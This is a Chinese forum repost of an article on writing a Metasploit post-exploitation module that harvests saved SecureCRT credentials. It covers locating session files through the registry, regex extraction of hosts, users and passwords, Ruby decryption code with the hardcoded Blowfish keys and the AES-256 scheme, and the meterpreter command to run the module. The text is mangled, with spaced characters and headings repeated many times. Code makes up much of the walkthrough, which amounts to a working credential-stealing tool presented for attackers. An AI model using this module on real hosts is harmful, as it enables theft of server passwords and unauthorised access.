搜索

[6960] 2020-10-03_编写Metasploit模块获取SecureCRT明文密码

文档创建者：s7ckTeam
浏览次数：27
最后更新：2025-01-17
2020-10-03_编写Metasploit模块获取SecureCRT明文密码 编 写 M e t a s p l o i t 模 块 获 取 S e c u r e C R T 明 文 密 码 E 安 全   2 0 2 0 - 1 0 - 0 3 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 三 米 前 有 蕉 皮 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 1 N o . 1 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 最 后 的 功 能 是 支 持 7 . 3 . 3 版 本 之 前 和 之 后 的 两 种 解 密 算 法 ， 并 且 支 持 P a s s p h r a s e 解 密 （ 前 提 是 你 要 知 道 用 户 设 置 的 P a s s p h r a s e ） ， 这 次 主 要 学 习 了 一 个 河 豚 解 密 算 法 的 编 写 。 旧 版 本 的 加 解 密 算 法 正 是 使 用 了 河 豚 算 法 ， 这 个 算 法 比 较 容 易 恢 复 明 文 密 码 ， 所 以 新 版 本 添 加 了 P a s s p h r a s e 的 S H A 2 5 6 数 据 摘 要 作 为 A E S - 2 5 6 - C B C 算 法 的 K e y ， 增 加 了 解 密 难 度 ， 和 X s h e l l 的 主 密 码 一 样 。 N o . 2 N o . 2 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 配 置 文 件 安 装 完 S e c u r e C R T 后 ， 设 置 主 密 码 ， 创 建 一 个 新 的 连 接 ， 点 开 属 性 设 置 保 存 密 码 ， 就 会 在 当 前 用 户 的 % A p p D a t a % R o a m i n g V a n D y k e C o n f i g S e s s i o n s 下 创 建 一 个 以 连 接 名 称 为 文 件 名 的 会 话 配 置 文 件 ， 为 了 保 险 起 见 ， 我 还 是 通 过 读 取 注 册 表 ' H K E Y _ C U R R E N T _ U S E R S o f t w a r e V a n D y k e S e c u r e C R T ' 获 取 s e s s i o n 配 置 文 件 的 保 存 目 录 ， 有 价 值 的 信 息 ： 用 户 名 ， 登 录 密 码 。 有 时 候 还 会 有 脚 本 登 录 密 码 ， 主 机 地 址 和 端 口 等 等 。 因 为 配 置 文 件 不 是 一 个 可 序 列 化 的 文 件 ， 所 以 无 法 转 化 为 R u b y 对 象 ， 这 里 就 选 择 使 用 则 正 表 达 式 去 匹 配 关 键 信 息 经 过 上 面 的 正 则 就 可 以 匹 配 到 两 个 版 本 的 关 键 信 息 ， 并 且 通 过 对 应 的 解 密 算 法 解 密 ， 最 终 入 库 并 呈 现 给 攻 击 者 。 N o . 3 N o . 3 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 算 法 实 现 现 有 的 解 密 程 序 是 P y t h o n 语 言 编 写 的 ， 各 个 语 言 之 间 的 加 解 密 和 编 码 可 能 不 太 一 样 ， 转 为 R u b y 语 言 开 发 还 是 遇 到 了 一 些 有 趣 的 地 方 。 首 先 P y t h o n 语 言 可 以 在 字 符 串 的 前 面 添 加 指 定 字 母 表 示 不 同 的 编 码 格 式 ， 例 如 ： 在 R u b y 中 ， 用 双 引 号 括 起 来 的 就 是 原 始 的 数 据 ， 不 需 要 添 加 修 饰 ， 一 定 要 有 双 引 号 才 会 转 义 ， 单 引 号 括 着 什 么 就 是 什 么 ， 并 不 是 h e x 数 据 了 。 因 为 双 引 号 和 单 引 号 括 的 根 本 就 不 是 同 一 个 东 西 。 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。 p r o t o c o l   =   R e g e x p . c o m p i l e ( ' S : " P r o t o c o l   N a m e " = ( [ ^ r n ] * ) ' ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 )   :   n i l h o s t n a m e   =   R e g e x p . c o m p i l e ( ' S : " H o s t n a m e " = ( [ ^ r n ] * ) ' ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 )   :   n i l p a s s w o r d   =   R e g e x p . c o m p i l e ( ' S : " P a s s w o r d " = u ( [ 0 - 9 a - f ] + ) ' ) . m a t c h ( f i l e )   ?   s e c u r e c r t _ c r y p t o ( R e g e x p . l a s t _ m a t c h ( 1 ) )   :   n i l p a s s w o r d v 2   =   R e g e x p . c o m p i l e ( ' S : " P a s s w o r d   V 2 " = 0 2 : ( [ 0 - 9 a - f ] + ) ' ) . m a t c h ( f i l e )   ?   s e c u r e c r t _ c r y p t o _ v 2 ( R e g e x p . l a s t _ m a t c h ( 1 ) )   :   n i l p o r t   =   R e g e x p . c o m p i l e ( " D : " [ # { p r o t o c o l } ]   P o r t " = ( [ 0 - 9 a - f ] { 8 } ) " ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 ) . t o _ i ( 1 6 ) . t o _ s   :   n i l p o r t   =   R e g e x p . c o m p i l e ( ' D : " P o r t " = ( [ 0 - 9 a - f ] { 8 } ) ' ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 ) . t o _ i ( 1 6 ) . t o _ s   :   n i l   i f   ! p o r t u s e r n a m e   =   R e g e x p . c o m p i l e ( ' S : " U s e r n a m e " = ( [ ^ r n ] * ) ' ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 )   :   n i l s e l f . I V   =   b ' x 0 0 '   *   B l o w f i s h . b l o c k _ s i z e s e l f . K e y 1   =   b ' x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 ' s e l f . K e y 2   =   b ' x 5 F x B 0 x 4 5 x A 2 x 9 4 x 1 7 x D 9 x 1 6 x C 6 x C 6 x A 2 x F F x 0 6 x 4 1 x 8 2 x B 7 ' k e y 1   =   " x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 " k e y 2   =   " x 5 F x B 0 x 4 5 x A 2 x 9 4 x 1 7 x D 9 x 1 6 x C 6 x C 6 x A 2 x F F x 0 6 x 4 1 x 8 2 x B 7 " i r b ( m a i n ) : 0 0 1 : 0 >   " x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 " . u n p a c k ( ' H * ' ) = >   [ " 2 4 a 6 3 d d e 5 b d 3 b 3 8 2 9 c 7 e 0 6 f 4 0 8 1 6 a a 0 7 " ] i r b ( m a i n ) : 0 0 2 : 0 >   ' x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 ' . u n p a c k ( ' H * ' ) = >   [ " 5 c 7 8 3 2 3 4 5 c 7 8 4 1 3 6 5 c 7 8 3 3 4 4 5 c 7 8 4 4 4 5 5 c 7 8 3 5 4 2 5 c 7 8 4 4 3 3 5 c 7 8 4 2 3 3 5 c 7 8 3 8 3 2 5 c 7 8 3 9 4 3 5 c 7 8 3 7 4 5 5 c 7 8 3 0 3 6 5 c 7 8 4 6 3 4 5 c 7 8 3 0 3 8 5 c 7 8 3 1 3 6 5 c 7 8 4 1 4 1 5 c 7 8 3 0 3 7 " ] i r b ( m a i n ) : 0 0 3 : 0 >  
P y t h o n 中 的 b y t e s . f r o m h e x ( C i p h e r t e x t ) 方 法 实 现 的 是 将 c i p h e r t e x t 的 h e x 转 换 为 b y t e s 类 型 ， R u b y 实 现 的 方 法 为 ： [ c i p h e r t e x t ] . p a c k ( ' H * ' ) 旧 版 本 解 密 旧 版 本 解 密 河 豚 解 密 函 数 ， 非 常 幸 运 的 是 O p e n S S L 库 中 自 带 了 这 个 算 法 ， 在 使 用 中 注 意 实 例 化 的 模 式 是 b f - c b c ， C B C 模 式 。 按 照 P y t h o n 语 言 中 的 解 密 流 程 ， 转 为 R u b y 语 言 的 代 码 如 下 ， 要 注 意 的 是 ： R u b y 与 P y t h o n 的 切 片 的 第 二 个 参 数 的 含 义 是 不 一 样 的 ， R u b y 可 以 使 用 . s t e p ( 2 ) 设 置 循 环 的 步 长 为 2 ， 剩 下 的 都 是 编 码 问 题 了 。 新 版 本 解 密 新 版 本 解 密 b y t e s 类 型 转 i n t ， 按 照 小 端 顺 序 的 P y t h o n 实 现 代 码 ： i n t . f r o m _ b y t e s ( p a d d e d _ p l a i n _ b y t e s [ 0 : 4 ] ,   ' l i t t l e ' ) ， 转 为 R u b y 实 现 为 ： p a d d e d _ p l a i n _ b y t e s [ 0 , 4 ] . u n p a c k 1 ( ' l ' ) 。 N o . 4 N o . 4 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 首 先 获 得 一 个 m e t e r p r e t e r 会 话 ， 执 行 r u n   p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / s e c u r e c r t   P A S S P H R A S E = 1 2 3 4 5 6 ， 后 面 的 P A S S P H R A S E 参 数 为 主 密 码 。 d e f   b l o w f i s h _ d e c r y p t ( s e c r e t _ k e y ,   t e x t )         c i p h e r   =   O p e n S S L : : C i p h e r . n e w ( ' b f - c b c ' ) . d e c r y p t         c i p h e r . p a d d i n g   =   0         c i p h e r . k e y _ l e n   =   s e c r e t _ k e y . l e n g t h         c i p h e r . k e y           =   s e c r e t _ k e y         c i p h e r . i v =   " x 0 0 "   *   8         c i p h e r . u p d a t e ( t e x t )   +   c i p h e r . f i n a l e n d d e f   s e c u r e c r t _ c r y p t o ( c i p h e r t e x t )             k e y 1   =   " x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 "         k e y 2   =   " x 5 F x B 0 x 4 5 x A 2 x 9 4 x 1 7 x D 9 x 1 6 x C 6 x C 6 x A 2 x F F x 0 6 x 4 1 x 8 2 x B 7 "         c i p h e r e d _ b y t e s   =   [ c i p h e r t e x t ] . p a c k ( ' H * ' )         c i p h e r _ t m p   =   b l o w f i s h _ d e c r y p t ( k e y 1 , c i p h e r e d _ b y t e s ) [ 4 . . - 5 ]         p a d d e d _ p l a i n _ b y t e s   =   b l o w f i s h _ d e c r y p t ( k e y 2 , c i p h e r _ t m p )         i   =   0         ( 0 . . p a d d e d _ p l a i n _ b y t e s . l e n g t h ) . s t e p ( 2 )   { | i |                 i f   ( p a d d e d _ p l a i n _ b y t e s [ i ]   = =   " x 0 0 "   & &   p a d d e d _ p l a i n _ b y t e s [ i   +   1 ]   = =   " x 0 0 " )                         r e t u r n   p a d d e d _ p l a i n _ b y t e s [ 0 . . i - 1 ] . f o r c e _ e n c o d i n g ( " U T F - 1 6 L E " ) . e n c o d e ( ' U T F - 8 ' )                 e n d                 } e n d d e f   s e c u r e c r t _ c r y p t o _ v 2 ( c i p h e r t e x t )         i v   = ( " x 0 0 "   *   1 6 )         c o n f i g _ p a s s p h r a s e   =     d a t a s t o r e [ ' P a s s p h r a s e ' ]   | |   n i l         k e y   =   O p e n S S L : : D i g e s t : : S H A 2 5 6 . n e w ( c o n f i g _ p a s s p h r a s e ) . d i g e s t         a e s   =   O p e n S S L : : C i p h e r . n e w ( ' A E S - 2 5 6 - C B C ' )         a e s . k e y   =   k e y         a e s . p a d d i n g   =   0         a e s . d e c r y p t         a e s . i v   =   i v         p a d d e d _ p l a i n _ b y t e s   =   a e s . u p d a t e ( [ c i p h e r t e x t ] . p a c k ( ' H * ' ) )         p l a i n _ b y t e s _ l e n g t h =   p a d d e d _ p l a i n _ b y t e s [ 0 , 4 ] . u n p a c k 1 ( ' l ' )   #   b y t e s   t o   i n t   l i t t l e - e n d i a n   f o r m a t .         p l a i n _ b y t e s   =   p a d d e d _ p l a i n _ b y t e s [ 4 , p l a i n _ b y t e s _ l e n g t h ]         p l a i n _ b y t e s _ d i g e s t   =   p a d d e d _ p l a i n _ b y t e s [ 4   +   p l a i n _ b y t e s _ l e n g t h , 3 2 ]         i f ( O p e n S S L : : D i g e s t : : S H A 2 5 6 . n e w ( p l a i n _ b y t e s ) . d i g e s t   = =   p l a i n _ b y t e s _ d i g e s t )   #   v e r i t y                 r e t u r n   p l a i n _ b y t e s . f o r c e _ e n c o d i n g ( ' U T F - 8 ' )         e n d         p r i n t _ e r r o r ( " M a y b e   t h e   u s e r   h a s   s e t   t h e   p a s s p h r a s e ,   p l e a s e   t r y   t o   p r o v i d e   t h e   [ P a s s p h r a s e ]   t o   d e c r y p t   a g a i n . " )         r e t u r n   n i l e n d
N o . 5 N o . 5 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 如 果 已 知 加 解 密 的 算 法 ， 或 者 有 现 成 的 分 析 文 章 ， 在 编 写 解 密 代 码 时 就 比 较 容 易 ， 编 写 解 密 模 块 主 要 是 要 对 R u b y 的 p a c k 和 u n p a c k 的 灵 活 运 用 ， 还 有 对 配 置 文 件 的 解 析 ， 像 这 个 不 是 规 范 的 I N I 配 置 文 件 ， 无 法 将 文 本 序 列 化 成 可 用 对 象 ， 还 需 要 使 用 到 正 则 表 达 式 提 取 文 本 信 息 。 参 考 参 考 h t t p s : / / g i t h u b . c o m / H y p e r S i n e / h o w - d o e s - S e c u r e C R T - e n c r y p t - p a s s w o r d / b l o b / m a s t e r / d o c / h o w - d o e s - S e c u r e C R T - e n c r y p t - p a s s w o r d . m d h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / p u l l / 1 4 1 1 8 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 突 发 ！ 达 飞 轮 船 疑 似 被 黑 客 攻 击   至 此 全 球 四 大 航 运 公 司 全 部 “ 中 招 ” 小 E “ 拍 了 拍 你 ”   来 吃 秋 天 的 第 一 口 月 饼 呀 ！ 外 交 部 霸 气 回 应 ： 增 进 自 身 网 络 安 全   保 护 关 键 信 息 基 础 设 施 免 受 威 胁 和 破 坏 1 9 年 来 首 次 ！ W i n d o w s   X P 源 代 码 在 网 上 泄 露 在 T h y m e l e a f 中 利 用 S S T I ▼ 稿 件 合 作   陈 女 士   1 5 5 5 8 1 9 2 9 5 9 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理